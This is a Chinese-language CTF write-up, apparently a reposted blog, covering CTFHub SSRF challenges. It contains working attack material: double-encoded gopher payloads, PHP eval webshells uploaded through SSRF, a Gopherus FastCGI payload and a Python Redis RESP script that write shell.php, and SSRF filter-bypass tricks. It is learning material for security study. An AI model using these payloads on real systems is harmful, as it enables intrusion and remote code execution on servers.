Web安全基礎 - SSRF CTFHub
題目來源:https://www.ctfhub.com/#/skilltree Web技能樹,SSRF部分
基礎知識
SSRF全稱:Server-Side Request Forgery,服務器端請求偽造,可以理解為以服務器的身份執行構造好的攻擊請求來獲取內網資源或繞過waf,
網站一般都會提供從其他的服務器上獲取資料的功能(獲取圖片、下載檔案、讀取檔案內容、轉發收藏、郵件、翻譯等),這時候如果沒有對目標地址做完善的過濾與限制,攻擊者就可以利用SSRF泄露內部資訊,DOS攻擊,或者再次利用其他漏洞攻擊,
SSRF的實質就是利用過濾不全的Web站點作為代理攻擊遠程和本地的服務器,
SSRF漏洞是偽造服務器發送請求的漏洞,可以通過分析發送的請求是否是由服務器端發送的(驗證資源來源)來判斷是否存在SSRF漏洞,
對于PHP來說file_get_contents(),fsockopen(),curl_exec()等函式可能產生SSRF
內網訪問
直接構造請求訪問即可,
Payload:
http://challenge-297b1abbef859a9a.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
偽協議
因為只學過PHP的偽協議,就莽上去了,寄掉辣,
http://challenge-af36601345fec220.sandbox.ctfhub.com:10800/?url=php://filter/read=convert.base64-encode/resource=flag.php
學習URL偽協議
URL偽協議有如下這些:
file:// 從檔案系統中獲取檔案
dict:// 參考允許通過DICT協議使用的定義或單詞串列
sftp:// Sftp代表SSH檔案傳輸協議
ldap:// 輕量級目錄訪問協議 管理和訪問分布式目錄資訊服務
tftp:// 簡單檔案傳輸協議 允許客戶端從遠程主機獲取檔案或將檔案上傳
gopher:// 一種分布式檔案傳遞服務 用戶可以無縫地瀏覽、搜索和檢索駐留在不同位置的資訊
file偽協議可以讀取系統內的檔案,使用dict偽協議可以查看內網存活主機和埠探測,使用gopher偽協議反彈shell,配合redis寫shell操作,
dict的使用curl -v ‘http://a.com/ssrf.php?url=dict://172.0.0.1:22/info'

確實讀到東西了,看看BurpSuite里面能不能看到資訊

埠掃描
用Bs來埠掃描,選擇payloads型別為Numbers

設定范圍

篩選有不同長度的回應

POST 請求
302跳轉又稱暫時性轉移,當網頁臨時移到新的位置,而瀏覽器的快取沒有更新時,就出現了302跳轉,不過這里可以忽略,
post請求,但是要127.0.0.1,本題我們使用gopher協議來做,gopher可以理解為古早版本的http請求,格式如下
gopher://<host>:<port>/<gopher-path>_<TCP資料流>
<port>默認為70
發起多條請求每條要用回車換行去隔開使用%0d%0a隔開,如果多個引數,引數之間的&也需要進行URL編碼
ssrf是用php的curl實作的,gopher協議的支持如下,
| 語言 | 支持情況 |
|---|---|
| PHP | --wite-curlwrappers且php版本至少為5.3 |
| Java | 小于JDK1.7 |
| Curl | 低版本不支持 |
| Perl | 支持 |
| ASP.NET | 小于版本3 |
我們需要從本地訪問

gopher協議傳遞HTTP的GET請求需要包含下列資訊

gopher協議傳遞HTTP的POST請求需要包含下列資訊和POST資訊

首先查看頁面原始碼發現key,思路應該是帶著key進行本地訪問

開始構造gopher協議
注意Content-Length如果存在并且有效地話,則必須和訊息內容的傳輸長度完全一致,
另外一點:因為我們這里是利用index.php的SSRF,首先通過curl利用gopher協議,其次gopher進行POST請求,這里需要兩次URL編碼
構造第一次請求,整理POST請求為以下格式
POST /flag.php HTTP/1.0
Host: challenge-8a584cb532fad88e.sandbox.ctfhub.com:10800
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=55dfa41ce7aabc43aa3d02bf01aeaf80
進行URL編碼

注意這里的細節,Cyber將換行編碼為%0A,這是在Linux環境下的換行,Windows下應該為%0D%0A,需要手動修改一下,
進行二次編碼

最終payload:
http://challenge-8a584cb532fad88e.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.0%250D%250AHost:%2520challenge-8a584cb532fad88e.sandbox.ctfhub.com:10800%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=55dfa41ce7aabc43aa3d02bf01aeaf80

檔案上傳

一開始是挺懵的,檔案選好了咋上傳啊,后來看其他人的wp發現可以手動添加提交框,

<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file"><input type="submit" name="submit">
</form>
抓包調整格式如下:
POST /flag.php HTTP/1.0
Host: 127.0.0.1:80 //這里記得調整為本地訪問
Content-Length: 324
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQOpqM1bRzTlR9VD4
------WebKitFormBoundaryQOpqM1bRzTlR9VD4
Content-Disposition: form-data; name="file"; filename="eval.php"
Content-Type: application/octet-stream
<?php @eval($_POST["cmd"]);?>
------WebKitFormBoundaryQOpqM1bRzTlR9VD4
Content-Disposition: form-data; name="submit"
鎻愪氦 //不知為何是亂碼,能用
------WebKitFormBoundaryQOpqM1bRzTlR9VD4--
構造gopher協議,流程同上,記得修改%0A為%0D%0A
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.0%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%2520324%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryQOpqM1bRzTlR9VD4%250D%250A%250D%250A------WebKitFormBoundaryQOpqM1bRzTlR9VD4%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522eval.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B%2522cmd%2522%255D);?%253E%250D%250A------WebKitFormBoundaryQOpqM1bRzTlR9VD4%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%250D%250A------WebKitFormBoundaryQOpqM1bRzTlR9VD4--

Fastcgi協議
HTTP協議是瀏覽器和服務器中間件進行資料交換的協議,而Fastcgi協議是服務器中間件和某個語言后端進行資料交換的協議,Fastcgi協議由多個record組成,record區分header和body,服務器中間件將這二者按照fastcgi的規則封裝好發送給語言后端,語言后端解碼以后拿到具體資料,進行指定操作,并將結果再按照該協議封裝好后回傳給服務器中間件,
比如:瀏覽器并不能決議動態的php檔案,如果http請求的請求檔案為.php檔案,這時候就需要php-fpm把其解釋(翻譯)成html格式的檔案,而服務器中間件和php-fpm之間的通信協議就是Fastcgi,
Header結構
typedef struct
{
unsigned char version; //版本
unsigned char type; //操作型別
unsigned char requestIdB1; //請求id
unsigned char requestIdB0;
unsigned char contentLengthB1; //內容長度
unsigned char contentLengthB0;
unsigned char paddingLength; //填充位元組的長度
unsigned char reserved; //保留位元組
}FCGI_Header;
其第二個欄位是型別,下表列舉一些常用Type值
| type值 | 具體含義 |
|---|---|
| 1 | 請求開始的第一個訊息 |
| 2 | 例外斷開與php-fpm的互動 |
| 3 | 表明互動的正常結束 |
| 4 | 向php-fpm傳遞環境引數,以表明訊息中包含的資料為某個name-value對 |
| 5 | web服務器將從瀏覽器接收到的POST請求資料(表單提交等)以訊息的形式發給php-fpm |
| 6 | php-fpm正常回應 |
| 7 | php-fpm錯誤回應 |
服務器中間件和后端語言通信,第一個資料包就是type為1的record,后續互相交流,發送type為4、5、6、7的record,結束時發送type為2、3的record,
漏洞的具體利用主要是靠type4設定環境引數,一次具體的利用看這里
對這道題進行gopherus一把梭
從這篇學的方法,配置gopherus,注意需要Python2環境,

使用方法如下,第一行輸入要求是一個已存在的php頁面,具體原因可以查詢FPM的security.limit_extensions配置項,
對生成gopher再次編碼,給curl使用
gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH133%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2585%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg%253D%253D%2520%257Cbase64%2520-d%2520%253E/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
會在/var/www/html位置生成shell.php,doughnuts連接
connect http://challenge-8f2d72a02851e8b3.sandbox.ctfhub.com:10800/shell.php POST cmd

放一個gist,想更深入原理的可以看下原始碼
Redis協議
Redis服務器與客戶端通過RESP(REdis Serialization Protocol)協議通信,
RESP實際上是一個支持(簡單字串,錯誤,整數,批量字串(Bulk Strings)和陣列)的序列化協議,
RESP在Redis中用作請求 - 回應協議的方式如下:
客戶端將命令作為Bulk Strings的RESP陣列發送到Redis服務器,
服務器根據命令實作回復一種RESP型別,
利用條件:能未授權或者能通過弱口令認證訪問到Redis服務器
redis常見的SSRF攻擊方式大概有這幾種:
- 絕對路徑寫webshell
- 寫ssh公鑰
- 寫contrab計劃任務反彈shell
- 主從復制
具體攻擊方式可以參考這里
本題的攻擊思路就是構造Redis命令,然后轉為RESP協議再構造gopher偽協議寫webshell
flushall
set 1 '<?php eval($_GET["feng"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
利用腳本轉換成RESP協議格式
import urllib.request
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
def payload_generate(ip,passwd):
protocol="gopher://"
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
return payload
def redis_format(arr):
CRLF="\r\n" # In Windows
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
ip = input("Input Attacked IP:\t")
passwd = input("Input Attacked PASSWD (if exist):\t")
if not passwd:
passwd = ""
payload = payload_generate(ip,passwd)
for x in cmd:
payload += urllib.request.quote(redis_format(x))
print (urllib.request.quote(payload)) # 這里已經進行二次編碼了
腳本已經進行了二次編碼,直接拿去跑就行
最終payload
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522cmd%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

Gopherus同樣可以使用,記得替換%0A和二次編碼:

URL ByPass
根據parse_url和curl對于host決議不同進行@繞過
一些常見的繞過方式:
- 繞過限制為某種域名:
利用@,網站限制只能訪問http://www.xxx.com型別的域名,在對@決議域名中,不同的處理函式存在處理差異,例如:http://[email protected]@www.ccc.com
在PHP的parse_url中會識別 www.ccc.com,而libcurl則識別為 www.bbb.com- 繞過限制請求IP不為內網地址:
1. 采用短網址繞過
2.利用特殊域名,xip.io可以指向任意域名(原理是DNS決議),即 127.0.0.1.xip.io,可以決議為127.0.0.1
3. 采用進制轉換,127.0.0.1 八進制:0177.0.0.1;十六進制:0x7f.0.0.1;十進制:2130706433
4. 添加埠號,http://127.0.0.1:8080
5. 利用句號,127,0,0,1會決議為 127.0.0.1
6. 采用302跳轉
7. Enclosed alphanumerics繞過
8. 利用http://xip.io和xip.name繞過- 限制請求只為http協議:
1. 采用302跳轉
2. 采用短地址

數字繞過
知識點如上

302跳轉

利用file偽協議查看頁面源代碼

,,感覺能拿上次的payload來

逆天
學習下用302跳轉怎么繞過,基本原理是設定302.php
#302.php
<?php
header("Location:http://127.0.0.1/flag.php");
讓服務器決議對302.php的訪問請求,自己跳轉過去,而不經過index.php
這里需要一臺有公網ip的服務器
構建Payload
http://challenge-c16227ad0f31ed81.sandbox.ctfhub.com:10800/?url=http://xxx/upload/302.php
DNS重系結
先補充理論知識
DNS決議
當各地的DNS(LDNS)服務器接受到決議請求時,就會向域名指定的授權DNS服務器發出決議請求從而獲得決議記錄;該決議記錄會在DNS(LDNS)服務器中保存一段時間,這段時間內如果再接到這個域名的決議請求,DNS服務器將不再向授權DNS服務器發出請求,而是直接回傳剛才獲得的記錄;
TTL
TTL(Time To Live)是DNS快取的時間,它表示DNS記錄在DNS服務器上快取時間,數值越小,修改記錄各地生效時間越快,
對于DNS重系結來說,需要將TTL設定為很低的數值或者0才能實作,
SSRF 修復邏輯
取URL的Host
取Host的IP -> DNS決議
判斷是否是內網IP,是內網IP直接return,不再往下執行
請求URL -> DNS決議(TTL為0)
如果有跳轉,取出跳轉URL,執行第1步
正常的業務邏輯里,當判斷完成最后會去請求URL,實作業務邏輯, -> DNS決議(TTL為0)
其中會發起DNS請求的步驟為,第2、4、6步,看來至少要請求3次,因為第6步至少會執行1次DNS請求,我們想要利用重系結ByPass重點是繞過第3步.
首先,修復邏輯中第2步發起DNS請求,DNS服務器回傳一個外網IP,通過驗證,執行到第四步,
這時DNS重系結到所需的內網IP
接著,修復邏輯中第4步會發起DNS請求,DNS服務器回傳一個內網IP,此時,SSRF已經產生,
同源策略(SOP)
同源是指"協議+域名+埠"三者相同,即便兩個不同的域名指向同一個 ip 地址,也非同源,將同源的協議域名埠視為一個域,
它是瀏覽器最核心也最基本的安全功能,現在所有支持JavaScript的瀏覽器都會使用這個策略,如果缺少了同源策略,瀏覽器很容易受到XSS、 CSFR等攻擊,
同源策略的作用:
如果你和目標不在同一個域(非同源),那么
(1)Cookie、LocalStorage 和 IndexDB 無法讀取
(2) DOM 無法獲得
(3)AJAX 跨域回傳的結果無法獲得(JSONP,CORS等可以規避)
部分跨域不受同源策略限制
(1) 頁面上的鏈接,比如 a 鏈接,
(2) 重定向,
(3) 表單提交,
(4) 跨域資源的引入(而非讀取),比如:script, img, link, iframe,
DNS重系結
通過DNS重系結攻擊可以繞過同源策略,攻擊內網的其他設備,
首先確定,同源是指“協議+域名+埠”三者相同,而不是“協議+IP+埠”,
在網頁瀏覽程序中,用戶在地址欄中輸入包含域名的網址,瀏覽器通過DNS服務器將域名決議為IP地址,然后向對應的IP地址請求資源,最后展現給用戶,
而對于攻擊者來說,他可以設定域名所對應的IP地址,當用戶第一次訪問,決議域名獲取一個IP地址;然后,域名持有者修改對應的IP地址;用戶再次請求該域名,就會獲取一個新的IP地址,
事已至此,該做題了,
RBNDR是一個用于針對DNS重系結漏洞測驗的服務器,服務器通過隨機選擇主機名中指定的地址之一并將其作為答案回傳,以非常低的TTL來回應查詢,

我們這里可以設定一個為公網ip,一個為內網ip,假設目標對內網ip檢測的話,如果第一次訪問DNS系結公網ip就會pass,TTL很小,考慮為不會查詢存盤,然后再次進行DNS決議這時系結到內網ip就能進行DNS重系結攻擊,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/538615.html
標籤:其他
下一篇:第六次打靶
